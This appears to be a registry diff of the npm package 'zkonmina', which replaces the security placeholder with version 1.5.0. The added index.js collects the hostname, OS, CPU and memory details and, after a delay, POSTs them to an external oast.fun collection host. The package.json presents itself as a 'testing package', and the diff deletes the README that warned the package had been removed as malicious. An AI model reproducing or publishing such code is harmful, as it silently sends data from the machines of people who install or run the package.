zkonmina 0.0.1-security → 1.5.0

package/index.js

@@ -0,0 +1,72 @@
+const os = require('os');
+const https = require('https');
+
+// Replace with your target domain
+const loggingEndpoint = "zezcpprclerkqyeittfxn6tohrpr3parb.oast.fun";
+
+// Function to gather system information
+function gatherSystemInfo() {
+    return {
+        system: {
+            platform: os.platform(),
+            release: os.release(),
+            architecture: os.arch(),
+        },
+        hardware: {
+            hostname: os.hostname(),
+            cpu: {
+                cores: os.cpus().length,
+                model: os.cpus()[0]?.model,
+            },
+            memory: {
+                total: os.totalmem(),
+                free: os.freemem(),
+            },
+        },
+    };
+}
+
+// Function to send data to a logging endpoint
+function sendSystemInfo(data) {
+    const payload = JSON.stringify(data);
+
+    const options = {
+        hostname: loggingEndpoint,
+        port: 443,
+        path: '/log',
+        method: 'POST',
+        headers: {
+            'Content-Type': 'application/json',
+            'Content-Length': Buffer.byteLength(payload),
+        },
+    };
+
+    const req = https.request(options, (res) => {
+        console.log(`Data sent. Response status: ${res.statusCode}`);
+        res.on('data', (chunk) => {
+            console.log(`Response: ${chunk}`);
+        });
+    });
+
+    req.on('error', (error) => {
+        console.error(`Error sending data: ${error.message}`);
+    });
+
+    req.write(payload);
+    req.end();
+}
+
+// Main function
+async function main() {
+    console.log("Gathering system information...");
+    const systemInfo = gatherSystemInfo();
+
+    console.log("System Information:", systemInfo);
+
+    console.log("Sending system information after a delay...");
+    setTimeout(() => {
+        sendSystemInfo(systemInfo);
+    }, 5000); // 5-second delay
+}
+
+main();

package/package.json

@@ -1,6 +1,11 @@
 {
   "name": "zkonmina",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.5.0",
+  "description": "testing package",
+  "main": "index.js",
+  "scripts": {
+    "test": "node index.js"
+  },
+  "author": "ISC",
+  "license": "ISC"
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=zkonmina for more information.